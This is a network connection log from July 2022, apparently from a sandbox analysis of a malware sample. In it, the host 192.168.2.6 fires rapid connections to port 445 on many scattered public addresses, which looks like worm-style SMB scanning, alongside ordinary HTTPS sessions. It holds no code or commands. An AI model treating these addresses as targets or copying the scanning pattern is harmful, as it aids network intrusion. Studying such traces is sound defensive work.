Jul 20, 2022 06:07:43.547060013 CEST	52402	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:43.547072887 CEST	443	52402	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:43.631361961 CEST	445	52396	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.631534100 CEST	52396	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:43.799598932 CEST	445	52396	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:43.825923920 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:43.825979948 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:43.826065063 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:43.826931953 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:43.826961994 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.029921055 CEST	52441	445	192.168.2.6	178.159.42.52
Jul 20, 2022 06:07:44.030391932 CEST	52442	445	192.168.2.6	176.241.42.19
Jul 20, 2022 06:07:44.082638025 CEST	445	52442	176.241.42.19	192.168.2.6
Jul 20, 2022 06:07:44.123770952 CEST	52443	445	192.168.2.6	37.21.160.56
Jul 20, 2022 06:07:44.233004093 CEST	52444	445	192.168.2.6	183.108.176.134
Jul 20, 2022 06:07:44.233525991 CEST	52445	445	192.168.2.6	61.26.61.150
Jul 20, 2022 06:07:44.234528065 CEST	52447	445	192.168.2.6	109.153.248.150
Jul 20, 2022 06:07:44.235043049 CEST	52448	445	192.168.2.6	24.203.37.219
Jul 20, 2022 06:07:44.328056097 CEST	52450	445	192.168.2.6	2.240.3.209
Jul 20, 2022 06:07:44.329806089 CEST	52451	445	192.168.2.6	85.160.237.128
Jul 20, 2022 06:07:44.331012964 CEST	52453	445	192.168.2.6	222.186.59.222
Jul 20, 2022 06:07:44.343450069 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.343669891 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.348161936 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.348181009 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.348752975 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.351644993 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.396493912 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.452070951 CEST	52455	445	192.168.2.6	103.148.45.122
Jul 20, 2022 06:07:44.452940941 CEST	52456	445	192.168.2.6	95.70.126.174
Jul 20, 2022 06:07:44.454471111 CEST	52458	445	192.168.2.6	104.228.210.151
Jul 20, 2022 06:07:44.455260038 CEST	52459	445	192.168.2.6	201.156.18.5
Jul 20, 2022 06:07:44.456674099 CEST	52461	445	192.168.2.6	93.217.154.92
Jul 20, 2022 06:07:44.457375050 CEST	52462	445	192.168.2.6	168.238.244.165
Jul 20, 2022 06:07:44.459311962 CEST	52465	445	192.168.2.6	154.89.110.235
Jul 20, 2022 06:07:44.462455988 CEST	52470	445	192.168.2.6	61.149.136.232
Jul 20, 2022 06:07:44.463116884 CEST	52471	445	192.168.2.6	69.69.3.0
Jul 20, 2022 06:07:44.463813066 CEST	52472	445	192.168.2.6	128.166.216.230
Jul 20, 2022 06:07:44.494550943 CEST	52473	445	192.168.2.6	214.136.25.12
Jul 20, 2022 06:07:44.506093979 CEST	52475	445	192.168.2.6	43.81.21.106
Jul 20, 2022 06:07:44.506246090 CEST	52474	445	192.168.2.6	121.166.42.12
Jul 20, 2022 06:07:44.506257057 CEST	52476	445	192.168.2.6	13.201.148.209
Jul 20, 2022 06:07:44.506356001 CEST	52480	445	192.168.2.6	111.129.221.238
Jul 20, 2022 06:07:44.506428957 CEST	52481	445	192.168.2.6	9.75.182.38
Jul 20, 2022 06:07:44.506443977 CEST	52479	445	192.168.2.6	121.62.144.16
Jul 20, 2022 06:07:44.506522894 CEST	52484	445	192.168.2.6	74.226.60.58
Jul 20, 2022 06:07:44.506566048 CEST	52485	445	192.168.2.6	167.122.44.101
Jul 20, 2022 06:07:44.507395983 CEST	52490	445	192.168.2.6	113.227.13.182
Jul 20, 2022 06:07:44.622934103 CEST	52442	445	192.168.2.6	176.241.42.19
Jul 20, 2022 06:07:44.675331116 CEST	445	52442	176.241.42.19	192.168.2.6
Jul 20, 2022 06:07:44.690537930 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690584898 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690623999 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690745115 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.690792084 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690819025 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690833092 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.690850019 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690881014 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.690943003 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.690968037 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.690994024 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.691057920 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.693562031 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.693595886 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.693659067 CEST	52440	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:44.693680048 CEST	443	52440	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:44.770158052 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.770198107 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:44.770951033 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.771400928 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.771421909 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:44.912255049 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:44.912409067 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.914104939 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.914123058 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:44.914428949 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:44.916515112 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:44.960504055 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.006659031 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.006696939 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.006722927 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.006864071 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.006902933 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.006970882 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.007333994 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.007371902 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.007433891 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.007437944 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.007467985 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.007488966 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.007508039 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.007550001 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.007600069 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.009885073 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.009926081 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.009947062 CEST	52492	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:45.009959936 CEST	443	52492	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:45.092566013 CEST	52493	445	192.168.2.6	178.159.42.53
Jul 20, 2022 06:07:45.093074083 CEST	52494	445	192.168.2.6	176.241.42.20
Jul 20, 2022 06:07:45.186347961 CEST	52495	445	192.168.2.6	37.21.160.57
Jul 20, 2022 06:07:45.345058918 CEST	52497	445	192.168.2.6	43.132.1.25
Jul 20, 2022 06:07:45.345108986 CEST	52498	445	192.168.2.6	57.163.243.92
Jul 20, 2022 06:07:45.345391989 CEST	52500	445	192.168.2.6	55.112.208.29
Jul 20, 2022 06:07:45.345448971 CEST	52501	445	192.168.2.6	39.94.70.252
Jul 20, 2022 06:07:45.453602076 CEST	52504	445	192.168.2.6	200.251.5.195
Jul 20, 2022 06:07:45.453610897 CEST	52503	445	192.168.2.6	121.96.84.112
Jul 20, 2022 06:07:45.453819036 CEST	52505	445	192.168.2.6	212.99.33.164
Jul 20, 2022 06:07:45.579214096 CEST	52508	445	192.168.2.6	70.184.156.196
Jul 20, 2022 06:07:45.579968929 CEST	52509	445	192.168.2.6	130.55.179.2
Jul 20, 2022 06:07:45.580705881 CEST	52510	445	192.168.2.6	132.76.85.189
Jul 20, 2022 06:07:45.581409931 CEST	52511	445	192.168.2.6	42.111.185.228
Jul 20, 2022 06:07:45.582448006 CEST	52512	445	192.168.2.6	151.175.69.53
Jul 20, 2022 06:07:45.583834887 CEST	52514	445	192.168.2.6	117.77.187.225
Jul 20, 2022 06:07:45.584573984 CEST	52515	445	192.168.2.6	68.115.145.95
Jul 20, 2022 06:07:45.586508989 CEST	52518	445	192.168.2.6	93.136.121.75
Jul 20, 2022 06:07:45.589754105 CEST	52523	445	192.168.2.6	67.176.105.15
Jul 20, 2022 06:07:45.590662956 CEST	52524	445	192.168.2.6	188.248.1.73
Jul 20, 2022 06:07:45.591213942 CEST	52525	445	192.168.2.6	141.171.96.203
Jul 20, 2022 06:07:45.613317013 CEST	52527	445	192.168.2.6	187.136.163.199
Jul 20, 2022 06:07:45.613632917 CEST	52528	445	192.168.2.6	39.242.120.124
Jul 20, 2022 06:07:45.613774061 CEST	52532	445	192.168.2.6	91.133.87.159
Jul 20, 2022 06:07:45.613795042 CEST	52531	445	192.168.2.6	61.150.117.62
Jul 20, 2022 06:07:45.613924026 CEST	52533	445	192.168.2.6	74.173.220.30
Jul 20, 2022 06:07:45.614078999 CEST	52534	445	192.168.2.6	25.17.223.76
Jul 20, 2022 06:07:45.614085913 CEST	52538	445	192.168.2.6	29.53.15.152
Jul 20, 2022 06:07:45.614193916 CEST	52539	445	192.168.2.6	223.170.3.218
Jul 20, 2022 06:07:45.614198923 CEST	52537	445	192.168.2.6	132.89.102.57
Jul 20, 2022 06:07:45.614300966 CEST	52542	445	192.168.2.6	27.122.140.24
Jul 20, 2022 06:07:45.730298042 CEST	445	52508	70.184.156.196	192.168.2.6
Jul 20, 2022 06:07:45.822710991 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:45.822736025 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:45.822822094 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:45.823148012 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:45.823158979 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:45.923563957 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:45.923614025 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:45.923703909 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:45.926167011 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:45.926191092 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.019691944 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.020036936 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.021181107 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.021209955 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.028090954 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.028120995 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.028372049 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.028388977 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.089014053 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.089103937 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.089189053 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.089220047 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.089281082 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.089315891 CEST	443	52546	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:46.089329004 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.089401007 CEST	52546	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:46.173803091 CEST	52547	445	192.168.2.6	176.241.42.21
Jul 20, 2022 06:07:46.173805952 CEST	52548	445	192.168.2.6	178.159.42.54
Jul 20, 2022 06:07:46.266623974 CEST	52549	445	192.168.2.6	37.21.160.58
Jul 20, 2022 06:07:46.326287985 CEST	52508	445	192.168.2.6	70.184.156.196
Jul 20, 2022 06:07:46.336837053 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.336966991 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.379729986 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.379765987 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.380341053 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.381884098 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.428494930 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.458607912 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.458657980 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.458724976 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.465769053 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.465802908 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.480154037 CEST	445	52508	70.184.156.196	192.168.2.6
Jul 20, 2022 06:07:46.483697891 CEST	52552	445	192.168.2.6	207.249.232.147
Jul 20, 2022 06:07:46.484344006 CEST	52553	445	192.168.2.6	100.220.85.129
Jul 20, 2022 06:07:46.485745907 CEST	52555	445	192.168.2.6	125.32.21.236
Jul 20, 2022 06:07:46.485801935 CEST	52556	445	192.168.2.6	175.209.144.80
Jul 20, 2022 06:07:46.579478025 CEST	52558	445	192.168.2.6	101.188.139.214
Jul 20, 2022 06:07:46.580864906 CEST	52560	445	192.168.2.6	85.90.101.158
Jul 20, 2022 06:07:46.580912113 CEST	52561	445	192.168.2.6	218.67.190.130
Jul 20, 2022 06:07:46.629769087 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.629906893 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.636110067 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.636127949 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.636429071 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.636502028 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.636512041 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.680495977 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.712342978 CEST	52563	445	192.168.2.6	209.138.31.9
Jul 20, 2022 06:07:46.712670088 CEST	52564	445	192.168.2.6	41.64.80.124
Jul 20, 2022 06:07:46.713488102 CEST	52566	445	192.168.2.6	135.216.49.177
Jul 20, 2022 06:07:46.713582993 CEST	52567	445	192.168.2.6	16.209.111.129
Jul 20, 2022 06:07:46.713588953 CEST	52565	445	192.168.2.6	7.239.226.39
Jul 20, 2022 06:07:46.713711977 CEST	52570	445	192.168.2.6	24.194.108.23
Jul 20, 2022 06:07:46.713717937 CEST	52569	445	192.168.2.6	204.45.163.247
Jul 20, 2022 06:07:46.713818073 CEST	52571	445	192.168.2.6	154.166.128.227
Jul 20, 2022 06:07:46.717906952 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.717926979 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.717947960 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718012094 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.718038082 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718056917 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.718070030 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718132019 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.718136072 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718164921 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718174934 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.718221903 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.718235016 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.718285084 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.721267939 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.721296072 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.721308947 CEST	52545	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:46.721318007 CEST	443	52545	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:46.727587938 CEST	52578	445	192.168.2.6	59.130.210.167
Jul 20, 2022 06:07:46.727627039 CEST	52579	445	192.168.2.6	182.100.74.254
Jul 20, 2022 06:07:46.727739096 CEST	52580	445	192.168.2.6	158.176.86.81
Jul 20, 2022 06:07:46.742552042 CEST	52583	445	192.168.2.6	181.242.180.93
Jul 20, 2022 06:07:46.742599964 CEST	52585	445	192.168.2.6	54.118.196.217
Jul 20, 2022 06:07:46.742630005 CEST	52586	445	192.168.2.6	85.90.95.85
Jul 20, 2022 06:07:46.742726088 CEST	52588	445	192.168.2.6	43.119.17.228
Jul 20, 2022 06:07:46.742846966 CEST	52590	445	192.168.2.6	175.137.140.105
Jul 20, 2022 06:07:46.742938995 CEST	52592	445	192.168.2.6	76.161.140.50
Jul 20, 2022 06:07:46.742949009 CEST	52591	445	192.168.2.6	90.93.6.128
Jul 20, 2022 06:07:46.743065119 CEST	52596	445	192.168.2.6	75.116.55.205
Jul 20, 2022 06:07:46.743067980 CEST	52593	445	192.168.2.6	208.116.14.60
Jul 20, 2022 06:07:46.743541956 CEST	52597	445	192.168.2.6	70.134.184.11
Jul 20, 2022 06:07:46.766005039 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.766073942 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.766151905 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.766284943 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.769874096 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.769910097 CEST	443	52551	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.769926071 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.769983053 CEST	52551	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.772747993 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.772785902 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.772861958 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.773092985 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.773106098 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.795697927 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:46.795743942 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:46.795845032 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:46.798558950 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:46.798583984 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:46.812820911 CEST	52602	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:46.914289951 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.914418936 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.915241003 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.915254116 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.917062998 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:46.917078972 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:46.987181902 CEST	445	52602	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:46.987299919 CEST	52602	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:46.987494946 CEST	52602	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:47.083720922 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.083813906 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.083856106 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.083880901 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.091572046 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.091599941 CEST	443	52600	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.091610909 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.091681004 CEST	52600	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.104521990 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.104584932 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.104702950 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.124934912 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.125099897 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.129653931 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.129687071 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.130517960 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.130531073 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.130877972 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.132054090 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.160721064 CEST	445	52602	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:47.161021948 CEST	52602	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:47.172501087 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.248924971 CEST	52604	445	192.168.2.6	176.241.42.22
Jul 20, 2022 06:07:47.249536991 CEST	52605	445	192.168.2.6	178.159.42.55
Jul 20, 2022 06:07:47.275963068 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.276053905 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.276520014 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.276535034 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.278393984 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.278423071 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.337908983 CEST	445	52602	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:47.341104031 CEST	52602	445	192.168.2.6	107.186.37.2
Jul 20, 2022 06:07:47.342541933 CEST	52606	445	192.168.2.6	37.21.160.59
Jul 20, 2022 06:07:47.345700979 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.345746040 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.345855951 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.345871925 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.345890999 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346051931 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346116066 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346155882 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346206903 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346295118 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346313953 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346322060 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346333981 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346349955 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346369982 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346421957 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.346477032 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.346554041 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.347845078 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.347876072 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.347950935 CEST	52601	443	192.168.2.6	52.242.101.226
Jul 20, 2022 06:07:47.347969055 CEST	443	52601	52.242.101.226	192.168.2.6
Jul 20, 2022 06:07:47.351402998 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.351473093 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.351509094 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.351522923 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.359555006 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.359590054 CEST	443	52603	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.359637976 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.359685898 CEST	52603	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.365420103 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.365458012 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.365576982 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.365906954 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.365920067 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.512536049 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.512661934 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.513233900 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.513256073 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.514327049 CEST	445	52602	107.186.37.2	192.168.2.6
Jul 20, 2022 06:07:47.516411066 CEST	52607	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:47.516428947 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.578145981 CEST	52610	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:47.594522953 CEST	443	52607	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:47.594595909 CEST	443	52607	20.238.103.94	192.168.2.6
